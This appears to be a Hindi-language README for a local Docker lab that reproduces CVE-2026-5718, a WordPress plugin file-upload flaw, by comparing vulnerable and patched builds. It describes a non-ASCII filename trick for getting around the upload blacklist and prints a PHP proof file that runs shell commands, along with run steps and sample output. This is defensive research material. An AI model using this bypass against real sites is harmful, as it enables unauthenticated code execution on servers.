
एक स्थानीय डॉकर लैब जो वर्डप्रेस प्लगइन में CVE-2026-5718 मनमानी फ़ाइल अपलोड का प्रदर्शन करता है, जिसमें कमजोर और पैच किए गए सेवाएं शामिल हैं, ताकि साथ-साथ शोषण और रक्षा विश्लेषण किया जा सके।
केवल-स्थानीय असुरक्षित बनाम पैच किया गया Docker लैब CVE-2026-5718 के लिए, जो WordPress प्लगइन Drag and Drop Multiple File Upload for Contact Form 7 को प्रभावित करता है।
यह लैब असुरक्षित संस्करण 1.3.9.6 और पैच किए गए संस्करण 1.3.9.7 के बीच अंतर को प्रदर्शित करता है, जिसमें केवल Docker वातावरण में एक न्यूनतम-हानि PHP निष्पादन प्रूफ का उपयोग किया गया है।
दायरा: केवल localhost / Docker नेटवर्क। इस PoC का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति नहीं है।
CVE-2026-5718, Drag and Drop Multiple File Upload for Contact Form 7 में एक मनमाना फ़ाइल अपलोड भेद्यता है, जो संस्करण 1.3.9.6 तक और इसमें शामिल है।
यह समस्या तब उत्पन्न होती है जब कस्टम ब्लैकलिस्ट प्रकार कॉन्फ़िगर किए जाते हैं और फ़ाइल नाम में गैर-ASCII वर्ण होते हैं। असुरक्षित संस्करण में, एक खतरनाक .php अपलोड इच्छित सुरक्षा को बायपास कर सकता है और निष्पादन योग्य बना रहता है। संस्करण 1.3.9.7 उसी अपलोड को अस्वीकार करके समस्या को ठीक करता है।
यह रिपॉजिटरी दो स्थानीय WordPress सेवाएँ चलाता है:
vuln http://localhost:8081 पर प्लगइन संस्करण 1.3.9.6 के साथpatched http://localhost:8082 पर प्लगइन संस्करण 1.3.9.7 के साथHost
├── http://localhost:8081 -> vulnerable WordPress service
└── http://localhost:8082 -> patched WordPress service
Docker network
├── vuln
├── vuln-db
├── patched
└── patched-db
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
│ └── requirements.txt
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
बीजयुक्त Contact Form 7 फॉर्म में एक Drag and Drop Multiple File Upload फ़ील्ड है:
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]
PoC एक PHP प्रूफ फ़ाइल अपलोड करता है जिसका नाम है:
proof-β.php
β वर्ण गैर-ASCII है। यह महत्वपूर्ण है क्योंकि भेद्यता गैर-ASCII इनपुट के लिए फ़ाइल नाम हैंडलिंग पर निर्भर करती है।
उच्च-स्तरीय प्रवाह:
PoC
↓
Fetch lab page and extract DnD CF7 AJAX nonce
↓
Upload proof-β.php through wp-admin/admin-ajax.php
↓
Vulnerable 1.3.9.6 accepts and stores the file as .php
↓
PoC requests the uploaded file
↓
Vulnerable lab executes the PHP proof as www-data
पैच किया गया प्रवाह:
PoC
↓
Upload the same proof-β.php file
↓
Patched 1.3.9.7 rejects the upload
↓
No PHP file is stored and no code execution occurs
अपलोड किया गया PHP प्रूफ जानबूझकर न्यूनतम है:
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>
प्रूफ केवल whoami और id चलाता है ताकि निष्पादन संदर्भ दिखाया जा सके। यह रिवर्स शेल, दृढ़ता, क्रेडेंशियल एक्सेस, पार्श्व आंदोलन, नेटवर्क स्कैनिंग या विनाशकारी कार्यों का उपयोग नहीं करता है।
असुरक्षित सेवा जानबूझकर प्लगइन अपलोड निर्देशिका में PHP निष्पादन की अनुमति देती है ताकि इस स्थानीय लैब में प्रभाव देखा जा सके। पैच की गई सेवा सुरक्षित व्यवहार रखती है और एप्लिकेशन सत्यापन परत पर अपलोड को अस्वीकार करती है।
Python निर्भरताएँ स्थापित करें:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
स्वच्छ स्थिति से शुरू करें:
docker compose down -v
docker compose up --build -d
सेवा स्थिति जांचें:
docker compose ps
लैब पेज खोलें:
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/
असुरक्षित सेवा के विरुद्ध चलाएँ:
python poc/poc.py --base-url http://localhost:8081
पैच की गई सेवा के विरुद्ध चलाएँ:
python poc/poc.py --base-url http://localhost:8082
PoC केवल localhost या लूपबैक लक्ष्यों को स्वीकार करता है।
अपेक्षित व्यवहार:
.php फ़ाइल ही रहता है।उदाहरण आउटपुट:
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}
Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)
[result] VULNERABLE behavior observed: uploaded PHP proof executed.
अपेक्षित व्यवहार:
उदाहरण आउटपुट:
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}
[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type
यह लैब जानबूझकर स्थानीय परीक्षण तक सीमित है।
PoC:
whoami और id निष्पादित करता है।असुरक्षित सेवा केवल स्थानीय प्रूफ को देखने योग्य बनाने के लिए अपलोड-निर्देशिका PHP निष्पादन को शिथिल करती है। उस कॉन्फ़िगरेशन को उत्पादन में कॉपी न करें।
कंटेनर रोकें:
docker compose down
कंटेनर और वॉल्यूम हटाएँ:
docker compose down -v
Python वर्चुअल वातावरण हटाएँ:
rm -rf .venv
NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718
Patchstack सलाह: WordPress Drag and Drop Multiple File Upload for Contact Form 7 Plugin <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability
Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass
GitHub Advisory Database: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w
WordPress.org प्लगइन पेज: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
प्लगइन विक्रेता पृष्ठ: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/
यह रिपॉजिटरी केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान के लिए है। इसे केवल Docker का उपयोग करके localhost पर चलाने के लिए डिज़ाइन किया गया है। PoC का उपयोग सार्वजनिक या तृतीय-पक्ष सिस्टम के विरुद्ध न करें।
| सेवा | उद्देश्य | होस्ट पोर्ट | संस्करण |
|---|
vuln | असुरक्षित WordPress लैब | 8081 | प्लगइन 1.3.9.6 |
patched | पैच किया गया WordPress लैब | 8082 | प्लगइन 1.3.9.7 |
vuln-db | असुरक्षित सेवा के लिए MySQL डेटाबेस | internal | MySQL 8.0 |
patched-db | पैच की गई सेवा के लिए MySQL डेटाबेस | internal | MySQL 8.0 |